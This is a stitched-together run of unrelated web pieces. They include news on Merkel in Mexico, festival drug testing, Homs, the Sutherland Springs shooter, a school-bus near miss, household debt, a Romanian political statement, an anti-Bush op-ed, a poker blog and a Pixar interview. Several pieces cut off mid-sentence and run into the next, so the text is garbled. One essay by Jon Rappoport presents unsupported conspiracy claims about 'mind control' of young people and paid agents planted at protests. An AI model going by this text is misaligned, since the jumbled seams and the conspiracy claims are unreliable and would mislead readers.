Merkel spoke to people at a pavilion during an event of the Dual Year Germany-Mexico, at the Revolution Monument in Mexico City on Saturday. She said that the digital world needed regulations like those that exist for financial markets in the G20 and for trade under the World Trade Organization.
"We still have no international rules," Merkel said alongside Mexican President Enrique Pena Nieto, stressing that there were important security concerns without common standards. "Otherwise some provider could emerge... that's an island, and from which things could be done, relevant to security, that could destroy an entire system. On this question of the rules-based handling of it, we're still right at the start."
Read: Angela Merkel eyes free trade on trip to Latin America
German business leaders were scheduled to meet Mexico's NAFTA renegotiator-in-chief, Ildefonso Guajardo. They have a lot to talk about. There's little sign yet that Washington is catching on to what many business leaders already perceive as fact: that others will pick up loose business ends where America pulls out. The optimistic spin on Trump's policy towards Mexico is that what currently sounds like a death threat to Mexican manufacturing could become its involuntary catalyst to a more diversified future. Geography still counts in global trade, though, so this could prove ambitious.
Also meeting civil society leaders
But meeting the Merkel will mean more than business for Pena Nieto, who is not known for standing up for a free press, let alone answering their questions. More than 100 journalists have been murdered in Mexico since 2000, primarily those who cover drug cartels and political corruption, especially at the local level. State protections are barely enforced as many politicians have ties to organized crime. Merkel will send a loud message when she meets civil society organizations during her 20-hour visit. The hope appears to be that Pena Nieto may also start to see the role of a free press as an ally against crime, rather than an enemy in the daily battle to control his public image.
Their styles are rather different, but the understated Merkel is said to appreciate straight-talkers
Since 2015, Germany and Mexico also share an experience that has transformed both countries. The German chancellor is a relative newcomer in dealing with large numbers of migrants. The main body of some 800,000 migrants - many of them fleeing war in Syria - reached Germany two years ago when Merkel briefly suspended the EU's typical rules for would-be refugees. Here Mexico has a head-start of sorts, having been both a transit route and a country of origin for people seeking a better life in the US for decades. With the looming threat of a border wall, Mexico is increasngly trying to stem the flow of people from Central and South America towards the US border. Merkel will be hoping to win Mexico's support for her G20 initiative to improve living conditions in African countries many migrants are leaving.
Chancellor Merkel shares a beer with Mexican President Pena Nieto
President Pena Nieto and Chancellor Merkel are much further apart in political style than she and Argentina's President Mauricio Macri, whom she visited on the first leg of her whirlwind trip. While Argentina's Macri and Merkel are strikingly similar in their calm and controlled manner and their matter-of-fact language, Pena Nieto is more prone to a bit of political drama, unafraid to publicly draw red lines, also towards America. When Trump invited him to come to the White House to talk about the border wall, he let it be known that he was unavailable. Though not always the straightest of talkers herself, the German chancellor is known to appreciate partners who make their positions clear.
Read: Angela Merkel seeks to manage expectations in Argentina, MexicoA controversial scheme is allowing people to test their drugs at festivals this summer to check they do not have lethal chemicals.
Cocaine and ecstasy users have been promised they will not be arrested if they take their drugs to the on-site festival lab run by the charity The Loop.
The service is being offered at the Kendal Calling festival in Cumbria this weekend and organisers claim to have found crushed up malaria medication, insecticide and concrete in the pills tested.
Professor Fiona Measham, director of The Loop, said: ‘We accept that some people will get drugs on site and some people will be planning to take them so what we’re doing is trying to address any potential health problems.
‘This is a focus on public health rather than on criminal justice.’
Prof Measham revealed about one in five users ask the charity to dispose of substances after they have been tested,
However, the scheme has come under fire for promoting drug use.
One festival goer was delighted when he ecstasy was tested and was pure. (Picture:Shutterstock)
David Raynes, of the National Drug Prevention Alliance, said: ‘This normalises drug taking. Some people go to festivals for the first time and take drugs for the first time.
‘The drugs they take will not be drugs that have been tested because during the testing process the drugs get destroyed so there will be other drugs available to them.
‘Testing doesn’t make the drugs that people might take at a festival safe.’
One reveler, who did not want to be named, was relieved the ecstasy he brought to be tested was pure.
He said: ‘I read some bad reports about the pills as well as some good ones, so I decided it would be best for me that I have the reassurance in my mind to know that I’ve come here, have it tested and know for sure. It just gives me peace of mind to know that what I’m taking is safe instead of just taking anything.’The repository stores samples from sheep, turkeys, goats, bison, pigs, elk, chickens, fish and cows. Every straw has a story. There are 30,000 salmon milt samples, obtained from the Nez Perce tribe in Idaho.
There's rare sheep semen from Kazakhstan, near sheep's center of domestication. There's even a full backup of 20,000 exclusively bred cows on the Island of Jersey, progenitors for Jersey cattle all over the globe.
When a drive through America's heartland showcases mile after mile of cow-filled field, it's easy to overlook the most sobering of all possibilities.These wonderful delicious animals could all get wiped out one day, leaving the world burgerless and milk free. Don't worry. The USDA is on the case. In Fort Collins, Colorado, there are currently some 700,000 "straws" of sperm from 18 different species of animals floating in liquid nitrogenAnd by life-ending we're talking less giant asteroid and more terrible plague of mad cow disease. (If the asteroid hit, we'd all be goners.)The facility is part of the National Animal Germplasm Program and contains a vast array of different breeds, both common and rare. According to Modern Farmer magazine, it's possibly theThe collection is ever-changing, as some farmers take out samples to revive old breeds, but the collection is diverse. From Modern Farmer:So cherish the animals while we've got them. But rest assured that if we run out of some of them, we can just make more. Oh, and we've got the plants covered, too.HOMS, Syria — In a report released this morning, Human Rights Watch says attacks on civilians in Homs by Syrian President Bashar al-Assad’s security forces, including torture and unlawful killings, constitute crimes against humanity.
The rights group is calling for Syria to be referred to the International Criminal Court and suspended from the Arab League, which has seen its recent peace deal utterly flouted by the Assad regime.
Since the Nov. 2 agreement, forces loyal to the Syrian president have killed over 100 people in Homs, a central industrial city that has become a focus for protests calling for an end to the Assad family’s 41-year dictatorship.
A reporter working for GlobalPost recently journeyed to Homs, the capital of a governorate HRW says has suffered the highest number of casualties in the now eight-month crackdown.
Related: Syria, the cost of repression
Western diplomats in Damascus now warn the city, which is divided between majority Sunni Muslims, widely supportive of the opposition, and minority Allawites, an offshoot of Shia Islam that is largely loyal to the regime, is sliding toward civil war.
“Homs has become in some respects a sectarian conflict,” a senior Western diplomat in Damascus told GlobalPost.
“But it is not inevitable that situation must happen in the rest of Syria. Rising violence is the inevitable consequence of the regime's behavior: Arrest all protest leaders and those left behind are more covert and violent.”
The reporter described Homs as a “ghost city,” a far cry from its fame as the humor capital of Syria, the source of most of the jokes told over tea and water pipes in cafes across the country.
On the trip, the checkpoints that now form a ring of steel around Homs began some 10 kilometers outside the city, |
loan balances ($12 billion), slightly offset by a $27 billion declines in credit card and HELOC balances. Total household indebtedness stood at $11.65 trillion, 1.1 percent higher than the previous quarter. Overall household debt remains 8.1 percent below the peak of $12.68 trillion reached in Q3 2008. "There will be some more deleveraging ahead for certain households (mostly from foreclosures and distressed sales), but it appears that in the aggregate, household deleveraging is over. This graph is from the Fed's Q1 Household Debt Service and Financial Obligations Ratios. These ratios show the percent of disposable personal income (DPI) dedicated to debt service (DSR) and financial obligations (FOR) for households.The overall Debt Service Ratio decreased in Q1, and is at a record low. Note: The financial obligation ratio (FOR) is also near a record low (not shown)Also the DSR for mortgages (blue) are near the low for the last 30 years. This ratio increased rapidly during the housing bubble, and continued to increase until 2007. With falling interest rates, and less mortgage debt (mostly due to foreclosures), the mortgage ratio has declined significantly.This data suggests household cash flow is in much better shape than a few years ago. And for commercial real estate, here is the AIA Architecture Billings Index. This is usually a leading indicator for commercial real estate, and even though the index has been moving sideways near the expansion / contraction line recently, the readings over the last year suggest some increase in CRE investment in 2014.Overall it appears the economy is poised for more growth over the next few years.As I noted at the beginning of this post, in the longer term I remain very optimistic. The renewing of America was one of the key points I made when I posted the following animation of the U.S population by age, from 1900 through 2060. The population data and estimates are from the Census Bureau (actual through 2010 and projections through 2060).BREAKING: Sutherland Springs Church Shooter Identified As Devin Patrick Kelley
U.S. officials say the gunman behind the mass shooting at a Sutherland Springs church is 26-year-old Devin Patrick Kelley.
Here are photos of the gunman via Facebook.
https://twitter.com/Breaking911/status/927310945872941056
“Suspect in Texas church shooting has been identified as Devin Patrick Kelley,” reports CBS News.
JUST IN: Suspect in Texas church shooting has been identified as Devin Patrick Kelley, sources tell CBS News https://t.co/iB6zuuPslE pic.twitter.com/gimMKQa17p — CBS News (@CBSNews) November 5, 2017
Daily Beast reports:
Devin Patrick Kelley has been identified as the gunman who opened fire on a church in Texas, a U.S. official tells The Daily Beast. Kelley, 26, was a resident of New Braunfels, a suburb of San Antonio, according to public records. Kelley was married. San Antonio police reportedly raided Kelley’s home on Sunday evening.
“A LinkedIn account appearing to belong to Kelley describes him as serving in the U.S. Air Force from his 2009 high-school graduation until 2013, after which he briefly taught at a summer Bible school,” reports the Daily Beast.
Earlier, ABC News reported the gunman was white and in his mid-20s.
“Authorities have preliminarily identified TX church shooter as white male in his mid-20s from outside San Antonio, sources tell,” reported ABC News.
NEW: Authorities have preliminarily identified TX church shooter as white male in his mid-20s from outside San Antonio, sources tell @ABC. — ABC News (@ABC) November 5, 2017
According to ABC News, the shooter recently showed off his AR-15-style rifle on social media.
Reports reveal San Antonio police are currently searching the home of the Sutherland Springs church shooter for explosive devices.
MYSA reports:
Police are checking for explosive devices at the home of a man suspected of shooting and killing at least 27 people and wounding more than 20 in a Sutherland Springs church on Sunday. The San Antonio Police Department is sending a K9 unit to the scene, an official told mySA.com, though it’s unclear where the home is. The shooter, now deceased, opened fire on a group of people at First Baptist
As The Gateway Pundit previously reported, at least 27 people are dead after a gunman opened fire inside the First Baptist Church of Sutherland Springs in Texas.Arrested development as mind control: the children’s army
by Jon Rappoport
November 12, 2016
(To read about Jon’s mega-collection, The Matrix Revealed, click here.)
“If a person sees a light at the end of the tunnel, he is looking at freedom, rationality, imagination, responsibility, creative power. Why should he abandon all that for some pathetic substitute?” (The Underground, Jon Rappoport)
This is a broad and vital subject. Here I am presenting a few of my notes.
“First of all, I have to write about Donald Trump for a few seconds. I don’t care what you think of him. I really don’t. For the purposes of what I’m pointing out here, it doesn’t matter who he is or what he really stands for or what his motives are. What matters is, during the campaign, he spoke words that touched a nerve in many, many young people, and they didn’t like the sensation, to put it mildly. What he said seemed like a reference to individual freedom and responsibility and power—and that had the effect of a silver bullet traveling toward the heart of a vampire. Why? Who are these young people? What has been happening to them?”
“The problem for social engineers: how to impose a top-down system of control on a population. The answer: prepare the young for that system by making it look like endless childhood.”
“College student everywhere are now entitled infants. This is the rapidly expanding trend. As such, they are ripe for any ‘philosophy’ or program that justifies their endless needs. For them, government is more than mommy and daddy. Government is a non-judgmental truck that pulls up and delivers an endless stream of consumer items…”
“Many people on the receiving end of ‘inner-child therapy’ came to believe they contained an actual entity called the inner child. This belief tended to create a regression, in which they sought to find themselves in a happy early past and STAY THERE—then behaving like children.”
“A false dichotomy is set up: a person is either a free, open, playful, blissfully ignorant, demanding child; or a cold, sterile, guarded, rigid adult. As if these were the only two possibilities.”
“When some ‘disturbing’ social event occurs, and you see retreating college students in a quiet room playing with coloring books and clay, and administrators attending to their needs, you are looking at arrested development and regression. This is mind control.”
“A ‘mental-health professional’ (like the late pop guru John Bradshaw) foists on an audience the existence of a subconscious entity called ‘the inner child,’ as if it needs to be brought to the surface and nurtured and even healed of its wounds. Now we are into the realm of mind control. Operant conditioning. Programming. Oprah came upon a gold mine there.”
“In the process of a child growing up, when you see adults arrest his development and try to maintain him in some semblance of an infantile state, where he is full of needs which must be met constantly, you are looking at a serious problem. Later in life, feeling hemmed in with nowhere to go, he may decide his only options are apathy or violence.”
“But the arrested-development concept doesn’t need misguided parents. People can pick up, straight out of the culture, clues which suggest to them that the way out of their problems is to regress. Act like an entitled child.”
“Sinking into the melodrama, they become self-styled victims.”
“And this is the objective of the overall psychological operation. To remake the society into helpless victims.”
“Such entitled self-styled victims whine and demand ‘everything for free.’ This is the upper limit of their intellectual prowess.”
“How do you make such victims realize they are responsible for the choices they are taking, when the core of those choices is the abandonment of all responsibility? You are looking at social engineering par excellence.”
“Sooner or later, the arrested-development generations of children become psychologically and spiritually exhausted. They need an infusion of energy. So they look to the dark side. They want perverse stimulation. They want rebellion without a goal. They want destruction. There is no rationale behind any of this, no mind, no coherent thought. There is a protest scheduled? They show up, ready to break something, smash it. All they need is an agent (who is paid for and planted) to throw the first stone.”
“Their leaders who magically show up out of nowhere (paid for) take control in meetings and even ‘conferences.’ These leaders are the hard cases. The arrested-development children are the foot soldiers, the know-nothings, the fodder. They can be sacrificed for the cause. Behind all this is the psychological program that initiated the regression backwards into an infantile state.”
“This is the Trojan Horse that has been placed in the middle of the culture. Thomas Jefferson envisioned public education as the means for enlightening young children about what it means to be a citizen in a Republic, because no such experiment in government and freedom had ever been tried before on such a broad scale. Using his model, but reversing the substance of education, elite foundations substituted a teaching program of socialism and collectivism. The next step, which we are witnessing now, involves shrinking that program down to the inculcation of basic victimhood, with bare flickers of ideas and slogans and vapid memes.”
“The teenage-young-adult infant has needs. He will try to destroy what is around him until his needs are satisfied. Satisfied for the moment.”
“If the day ever comes when he wants to break out of this endless cycle, he can look at freedom, responsibility, imagination, creative power. He can pull at the tag-end of any of these, and he will eventually arrive at a vast unknown (to him) territory. A new world, a new galaxy. Beyond programming.”
Jon Rappoport
The author of three explosive collections, THE MATRIX REVEALED, EXIT FROM THE MATRIX, and POWER OUTSIDE THE MATRIX, Jon was a candidate for a US Congressional seat in the 29th District of California. He maintains a consulting practice for private clients, the purpose of which is the expansion of personal creative power. Nominated for a Pulitzer Prize, he has worked as an investigative reporter for 30 years, writing articles on politics, medicine, and health for CBS Healthwatch, LA Weekly, Spin Magazine, Stern, and other newspapers and magazines in the US and Europe. Jon has delivered lectures and seminars on global politics, health, logic, and creative power to audiences around the world. You can sign up for his free emails at NoMoreFakeNews.com or OutsideTheRealityMachine.Foto: Facebook
„Pas cu pas, dar repede! (...) Consultarea cu partidele trebuia să înceapă imediat după demisia premierului, iar în dimineața zilei de astăzi, 5.11.2015, trebuia să știm numele premierului desemnat.
Pas cu pas, dar REPEDE!Societatea este extrem de tensionată și are și de ce:- plasată violent în super producția... Posted by Traian Băsescu on Thursday, November 5, 2015
Pentru ce încă o seară cu zeci de mii de oameni pe străzi în căutarea certitudinii? Oamenii aceștia vor de la președintele lor o soluție bună și asumată de cel care constituțional are decizia în mână.
Cui folosește prelungirea incertitudinii asupra numelui viitorului premier?
Dacă nu s-au putut face consultările cu partidele în timpul nopții trecute, ele trebuie încheiate azi și nu mâine, iar numele premierului desemnat anunțat în această seară.
Altfel se riscă evoluții greu de controlat. Este vital ca România să aibă imediat guvern în deplină capacitate de exercițiu și nu prelungită viața unui guvern interimar. De acord că lucrurile trebuie făcute pas cu pas, dar uneori pașii trebuie făcuți foarte repede”, a subliniat fostul președinte.
Traian Băsescu apreciază că implicarea societății civile și a reprezentanților străzii în consultările privind noul premier este nu numai neconstituțională, dar este și o fugă de asumare, „o tergiversare păguboasă” și un precedent greu de calificat.
„Pentru astfel de întâlniri îți poți găsi timp cu alte ocazii, pentru că așa nu vom ști dacă noul premier este soluția dată de președinte, de partide, de stradă sau de societatea civilă. La formarea Guvernului trebuie rigoare nemțească și aplicat corect art.103 alin.1 din Constituția României”, a susținut Băsescu.
În opinia sa, societatea este extrem de tensionată din multiple cauze: a fost plasată „violent în super producția corupției generalizate”; clasă politică este generalizat stigmatizată; salariile au fost mărite doar pentru demnitari și anumite categorii de bugetari; polițistul Bogdan Gigină și-a pierdut viața din cauza „grandomaniei unui înalt demnitar”; drama de la clubul Colectiv a fost „cauzată în mod egal de patroni și de indolența instituțiilor statului”.
Băsescu a remarcat și alte motive de tensiune la nivelul societății române: protestele a zeci de mii de români; pe alocuri, Biserica Ortodoxă este „pusă sub semnul întrebării”; criză politică generată de demisia premierului; apelul „demagogic” al PNL pentru alegeri anticipate ce „nu poate avea ca efect decât adâncirea și prelungirea crizei politice”.
Potrivit acestuia, un „vecin mare și agresiv” la Răsărit „își freacă mâinile la perspectiva destabilizării țării”, după ce a reușit acest lucru cu Ucraina și R.Moldova.
„În aceste condiții, prelungirea crizei politice generate de întârzierea desemnării unui nou premier este extrem de riscantă și pentru securitatea națională și pentru evoluțiile economice ale țării”, a conchis fostul președinte.
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,The Bush administration's days are numbered. That's both a good and bad news story.
The good news is we are now less than six months away from the end of America's longest nightmare.
The bad news is we have less than six months for congress and the courts to insure that, when these guys leave Washington on Jan 21, 2009, they leave behind an accurate and complete historical record.
George W. Bush, unpopular now in the extreme, comforts himself with the oft repeated hope that "history will vindicate our policies."
Well, history can only vindicate -- or condemn -- if it has a complete historical record to work from. And as the days tick down to the end of this administration's reign, it has become increasingly obvious that there's a lot they have not wanted us to know, have not allowed us to know and are highly unlikely to let us know -- unless the evidence is secured before it can be hidden behind the walls of a yet-to-be built Bush Library, spirited away by individual administration officials or -- most likely -- simply deleted or shredded. (I know because I've been here before.)
I'm not going to waste the reader's time listing all the high crimes and misdemeanors this bunch is now suspected of having committed over it's eight years in power. (Here's an excellent list.) Suffice it to say that they have made the Nixon administrations look like choir boys and girls by comparison. But at least in case of the Nixon gang, Congress and the Supreme Court secured the relevant evidence, including the all-revealing Oval Office tapes.
And believe me, the Bushies noticed what happens when the evidence of crimes is left laying around rather than destroyed. Nixon later said his greatest regret was not destroying those tapes when he had the chance.
Who knows... maybe all us finger-pointers and accusers have been wrong all along. Maybe the Bush folk actually didn't break laws at all. Who knows... anything is possible. And, if that can be proven, I will be the first one to admit I was wrong.
But before I -- or history -- can reach such a conclusion, we need a complete historical record.
Unfortunately this Democratic-controlled congress is so steeped in political game-playing aimed at November elections, they are not about to engage in anything that even approaches fulfilling their constitutional obligations, vis a vie impeachment or real hearings.
But one thing Congress could and should do, and do immediately, is compile a detailed list of every document the administration has refused to turn over on the grounds of executive privilege. Then issue individual subpoenas for each document as well as blanket subpoenas for all documents "disclosed and undisclosed," covering specific areas of investigation; the war, the politicization of Dept. of Justice, energy policy meetings, Katrina response, etc.
Of course, if we've learned anything over the past couple of years it's that we cannot depend on the Democrats in Congress to show much backbone. Which is why the courts need to get involved, and fast. Public interest legal groups, on both the right and left, have an obligation to their own principles and to history to turn their full attentions to preserving the complete documentary history of this administration.
Groups usually on the opposite sides of issues, should join forces on this one. They should get to federal court and make the case that this administration's public record of either refusing to turn over documents, and refusing to testify under oath and of even destroying electronic documents (such as five million White House emails) establishes a prima facia case in favor of a court injunction against the destruction or removal from government offices of the following records be they physical or virtual:
All:
schedules,
meetings and meeting notes.
official memos,
official files,
official emails sent and/or received from any domain.
logs, including but not limited to, phone logs, visitor logs, Secret Service logs and official aircraft logs.
employment records, including interview notes and internal memos on would-be hires.
contracts, no bid and otherwise, including, but not limited to, all related notes, memos and emails
This federal court injunction must apply, not only to the White House, but to all and each cabinet-level agencies as well as the CIA, NSA, Office of Special Operations. (And, since it is public knowledge that Vice President, Dick Cheney, maintains his own secure document trove in his office, this injunction should make particular note of that safe as well. )
Sure, I know there are already laws against public officials removing or destroying official documents. But relying on those laws would be a serious mistake. This administration has shown many times that when an existing law or regulation gets in the way of their agenda, needs or schemes, the President simply issues an executive order that neuters the troublesome rule or law.
In this case all Bush would have do come early January is issue an executive order directing "all Executive Branch offices, agencies and employees to clear your files of any extraneous materials." Such an order would provide all the legal cover needed for wholesale document destruction.
Federal court injunctions ordering all executive branch employees, including the President and Vice President, to secure all documents, would add a layer of legal risk -- obstruction of justice -- that George could not simply wipe away with a stroke of the Presidential pen.
Look, I understand none of this legal-beagle activity is as satisfying or as sexy as a juicy public impeachment. But, barring George or Dick being caught red-handed waterboarding Nancy Pelosi on the floor of the House, impeachment is simply not going to happen.
So, unless something else is done to secure the 8-year documentary record of this administration -- or at least what's left of it -- Bush, Cheney and their army of sycophant accomplices will leave office, having wiped their fingerprints clean from the longest list of suspected crimes in office in American history.
From now on when you close your eyes at night, listen and you can almost imagine you hear that sound of hundreds of industrial-strength shredders warming up. It's up to us to assure they are not used to between now and January to destroy the evidence needed to prove, or disprove, the suspicion that the Bush administration has been the most subversive and lawless in American history.
_______
newsforreal.com
About author Stephen Pizzo is the author of numerous books, including "Inside Job: The Looting of America's Savings and Loans," which was nominated for a Pulitzer. His web site is Stephen Pizzo is the author of numerous books, including "Inside Job: The Looting of America's Savings and Loans," which was nominated for a Pulitzer. His web site is News For RealOver the last century, the book of Revelation has lost its edge in the West. What was understood as a letter written to small faith communities surviving the threat of Roman empire, propped up by its imperial religion, economics and violence, has largely become a book underwriting what some have called “evacuation theology.” In my view, these are two incompatible readings of Revelation.
The latter view is about how to get out of here: here often is construed as “this life” or “the world about to come to an end,” but could also be avoiding difficult conversations, uncomfortable or even dangerous issues arising within a particular community. In this reading, of which I too have subscribed to in my own life, the faithful are ultimately not committed to seeing the powers and principalities of this present order changed, challenged, or subverted. In this view, Jesus’ teachings on the Sermon on the Mount are ultimately too idealistic to be formative practices for everyday life.
On the other hand, the former reading of Revelation, reminds us that God is opposed to empire and its practices of religion, economics and violence that it generates to sustain itself. In this space the church is to be a “brave space” bearing prophetic witness against empire. Jesus’ vision of the church is designed to be a dynamic, revolutionary presence within this current order, demonstrating, what Quakers call, “Gospel Order.” Quaker testimony is born out of the leadings of Christ as present teaching, a conviction that suggests Jesus’ teachings are not only practices with ongoing usefulness in the here and now, but that they are ultimately in opposition to “the ways of empire.”
If the way of empire is about benefitting the few at the expense, exploitation and oppression of the many, then the way of the Lamb that was slain, is a subversion of all of this. It symbolizes God’s counter vision. The way of the Lamb that was slain is rooted in nonviolence, it is radically present to the needs of the disenfranchised in our communities, it does not scapegoat and it loves both enemy and neighbor. This reading of Revelation calls the followers of Jesus to be, what African-American Quaker Bayard Rustin named, “Angelic Troublemakers.” Radical love through radical presence – a vision of the church we desperately need today.
This is an entry previously submitted for a NWYM Peace Month Reader.
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Like this: Like Loading...Remember me telling you about the “big” online tournament last Sunday? Then the winner/scammer problem? Well, this week it was my turn to win. Here is my story:
I guess I should have know things were going to go well for me. The first hand I had KQ in decent position and took it down with a pretty standard raise. Yeah, yeah, you could say everyone is being cautious that first hand, so it was a gimme, but let’s say it was fate, just to be funny ;)
I got a lot of good hands during this event. More importantly, I got a lot of action during those hands, and players who often had the 2nd best premium hand. I will say, however, I never had AA. Things simply collided so that I was able to get the most out of my great hands/flops.
For a while I held the chip lead or the top few. I eventually lost that and got blinded down quite a bit when desperate stacks started making moves pretty much every hand. I didn’t beat myself up about it, although I was pretty rough on myself after one misplayed hand. Looking through the hand history makes me cringe a little, as I’m sure better players would have made more of these good to great holdings and the flops they were getting. Then again, had I played more hands, I might not have won, so there ya go.
When we got HU, I think I was a 3:1 dog in chips. Fortunately for me, my opponent liked playing small ball and limped, almost never raised. He did bluff a lot post-flop, but would fold to big bets/raises as well. Eventually I got the chip lead, then stupidly doubled him up with a marginal holding. Yeah, amateur hour here, but I only made that mistake once. Never again.
Not long after wrestling back the chip lead, things were over. Funny enough, not one beggar on this rail, nor since in the main chat. Guess people aren’t as dumb as I give them credit for being ;)
All and all, I had a great time. I was going to post more hands and thoughts about them, but it’s been long enough since the win, and I can’t seem to get the motivation. And I’ll leave that problem along with its resolution for the next post!
Cheers.
AdvertisementsI’m writing this because the people (management and faculties) in college think what they teach in colleges will help shape a student’s career. This is especially the case for Computer Science majors.
I know this fact because I was also a college kids few months back. Students are not much aware about the industry and they just thinks it’s all about just few complex C programs they gonna write when they step into software development field. Even few of my mates use to tell me that. I felt really bad when hearing such thoughts.
This article is mainly to help students of colleges who are on the verge of finishing their degrees and about to join software companies. I’ll explain what the industries are actually using and not just C program compilers :P
It’s a popular text editor for writing code, the coolest part of it is that the size of the application is tiny that it can run in any computer. People use it like crazy and it’s a freemium tool, you can enjoy the trial for your lifetime.
2. Git (Github)
Git is a version control tool which most of the students are not aware of, yet this is something no company will forget to use. It helps you to have various version of your source code and easier to manage who contributed which part. Probably students should use it in their college projects. It’s a open source tool and you can use sites like Github and Bitbucket for a hosted version.
3. Terminal
This is something that’s the core of any development. Whenever you see it, you’ll get a geeky feel. Students are aware of command prompt in windows operating system, that’s what exactly what terminals are. But developers mostly use linux terminals over windows cmd, mainly for comfort they get in it. If you want to become a tech guy after college, you can’t just skip this tool.
4. Rest Clients
Rest clients are not so important but it’s something of interest to people, This is a tool which is used for talking with API’s. API are the programming interface which applications gives us. If you’re building an game for Facebook, you initially use this tool to check everything in your app that talks with Facebook APIs then code for it.
5. HTTP Servers
HTTP Servers are used everywhere. A company will use it in one or the other projects. It’s like a basic requirement for any company that is building a web based project. And it’s also pretty cool tool even you can do magics with it. When I was in college I used to host my small website and see it in all my friend’s computers. We even used it during practical exams for sharing source code, it was fun!Now playing: Watch this: HyperDrive adapter saves you from MacBook Pro dongle...
It's dongle city. That's how you can describe Apple's new MacBook Pro.
The company's decision to include only two USB-C ports (four on the more expensive Touch Bar model) have forced users to rely on expensive and clunky dongles to connect an external hard drive, access an SD card or even charge their iPhone.
A new accessory is looking to fix this. The HyperDrive adds a variety useful ports to the MacBook Pro, including both an SD and microSD card slot, HDMI output and two USB 3.1 ports. Aside from an Ethernet port, the HyperDrive restores virtually all of the ports found on the previous MacBook Pro from 2015.
Hyper
The HyperDrive is available through a Kickstarter campaign. The hub is priced at $100, but is being offered to Kickstarter backers for $70. It works with both the 13-inch and 15-inch 2016 MacBook models, and is offered in either space gray or silver. The campaign ends on January 16, 2017. The company has said it plans to begin shipping the HyperDrive in February.
As always, please note that CNET's reporting on crowdfunding campaigns is not an endorsement of the project or its creators. Contributing to a crowdfunded project comes with risk. Before contributing to any campaign, read the crowdfunding site's policies, such as those for Kickstarter and Indiegogo, to find out your rights (and refund policies, or the lack thereof) before and after a campaign ends.Chris Herhalt, CTV Toronto
Durham Regional Police say video footage of a near miss between a car and a 10-year-old girl who was crossing a street in Pickering after getting off a school bus last month is definitely scary but nobody involved broke the law.
A security camera from the home of one of Rebecca Hillier’s neighbours shows her standing on one side of the street on Shadybrook Drive on the afternoon of Sept. 29.
In the video, Rebecca’s bus driver waves her to cross the street after retracting the barrier and stop sign.
As Rebecca approaches the centre line, a burgundy station wagon speeds towards her. In the video, the girl takes a quick sidestep to her right to dodge the car and get to the other side of the street.
“I heard her screaming from outside on the road so I ran out to see what was happening,” her mother Melissa told CTV Toronto on Tuesday. “It took a good five minutes before I could calm her down.”
“She said ‘mommy, the car almost hit me, he hit my backpack.”
Hillier said she went down the street to find her daughter’s bus or the motorist involved, but found neither.
“I was angry. If you hit a child or almost caused an accident, you should stop.”
She said the bus driver and the driver involved did not report the near miss to anyone.
When she watched her neighbours’ video footage of the encounter, Hillier said she was overwhelmed.
“My stomach dropped and I cried, it was really hard for me to watch.” She then turned the footage over to Durham Regional Police.
She said police told her that the motorist involved, who is also a parent with children who attend Rebecca’s school, said he saw Rebecca cross the street, swerved slightly and applied his brakes.
She said both the bus driver and the motorist involved needed to act with more caution.
“People need to slow down, especially on residential streets. And you don’t pass a stopped bus, even if the driver’s signs are (folded) in, please proceed with caution."
Melissa said the bus driver should not have retracted the stop sign and guard line until all of the 16 kids who get off at Rebecca’s stop have crossed the street.
Police told CTV Toronto that the video depicts a scary encounter. But while the driver should have slowed down, the bus driver may need more training, and Rebecca should have looked both ways before crossing, nothing illegal occurred that afternoon.
In an emailed statement, the Durham District School Board says they were made aware of the near miss on Sept. 30 and assigned a safety officer to investigate.
“With regard to this particular incident, (Durham Student Transportation Services) is working to ensure that all of the students are reminded of bus safety protocols,” a schoolboard spokesperson said.
Stock Transportation, the school bus operator for the Durham District School Board, said they intend on sharing the incident with their fleet of drivers "as a safety reminder."
"The safety of our students is our top priority," a spokesperson for the company said in an email statement. "We are sharing this incident with all of our drivers as a safety reminder. Given this week is celebrated as School Bus Safety Week, a campaign to help raise awareness of student safety as they travel to and from school, our focus remains on reminding all – drivers, students and motorists – that everyone has a role to play in safe student transportation."
Since that incident, Melissa says she has told her daughter to still check both ways when crossing the street, even when a bus driver or another adult indicates it’s safe to cross.In 'Good Dinosaur,' Director Peter Sohn Helps An Herbivore Conquer His Fears
Enlarge this image toggle caption Pixar Pixar
Growing up in New York City, film director and animator Peter Sohn remembers visiting the American Museum of Natural History as a kid and being awed by the dinosaurs on display there.
"There was a barosaurus in the atrium," Sohn tells Fresh Air's Terry Gross. "It was kind of standing on two legs, and it blew me away, that thing.... It ignites the imagination to think that something that large could've roamed around New York."
Decades later, dinosaurs continue to spark Sohn's imagination. His new Disney/Pixar animated film, The Good Dinosaur, imagines a world in which the dinosaurs did not go extinct and people and dinosaurs now live together. At the center of the movie is Arlo, an 11-year-old dinosaur who becomes separated from his family during a flash flood and must find his way home with the help of a feral boy named Spot.
Together they confront predators and dangerous storms, which is especially difficult for Arlo because of his myriad fears. Sohn says that Arlo's tentative nature reflects his own disposition growing up. "I remember not having a lot of confidence because of the way I looked and being kind of a minority in New York," he says. "Trying to learn to be more confident and trusting yourself was a big deal for me.... I feel like that test has been with me my whole life — trying to find ways to get through these little fears or big ones."
Interview Highlights
On coming up with the concept for The Good Dinosaur
When you make a "what if" like that, you could really go anywhere. It could be dinosaurs driving in cars and stuck in traffic or dinosaurs in space or whatever it was. In the early development, I was just doing some drawings and I started this one drawing of a long-neck type of an apatosaurus with his head in the ground plowing the earth, and there was something really kind of interesting about a dinosaur almost like a giant tractor and farming.... [I thought,] "What if they evolved to become almost agrarian if they're herbivores?" And that started opening up other doors. If you're a carnivore maybe you're a rancher? There was something really sincere about this farming dinosaur.
On choosing to pursue a career in art
Enlarge this image toggle caption Deborah Coleman /Pixar Deborah Coleman /Pixar
I was born in New York, and my parents were born in Korea, and they came here during the '70s and they would work very hard to create a life for us. So the life, I think, that was going to be made for me was that I was going to take over the [family grocery] store. And by the time I got into junior high, I found this love for animation. It was a really sincere love for it, and I began to try to fight for this world of art, if that makes sense, knowing that culturally my parents didn't understand how you could have a career drawing cartoons.... I don't even think they really understand what computer animation is today. So they would really push for me not to go to that world of art, and the more I drew, the more confidence I found in trying to fight for that.
On going to the movies with his mother as a kid
[At] our parents' grocery store there would be a kind of weekly ritual where at the end of the week, around Friday or Saturday,... my mom would get this big deposit bag.... She would deposit the money at the bank, and if there was anything left over she would take me or me and my brother to the movies, like all the time. She loved them so much.... It was a real experience for me because I remember that because she didn't speak English very well, she would always ask me to translate the movies for her. So we'd be sitting in some theater in the Bronx somewhere,... there'd be an American movie playing and an actor or actress would say something and then she would lean over and ask [in Korean,] "What did that person say?" and I would try my best to explain what was on the screen or what the character had said....
But there were some that I didn't have to translate, and |
$183.6 million, not adjusting for inflation).
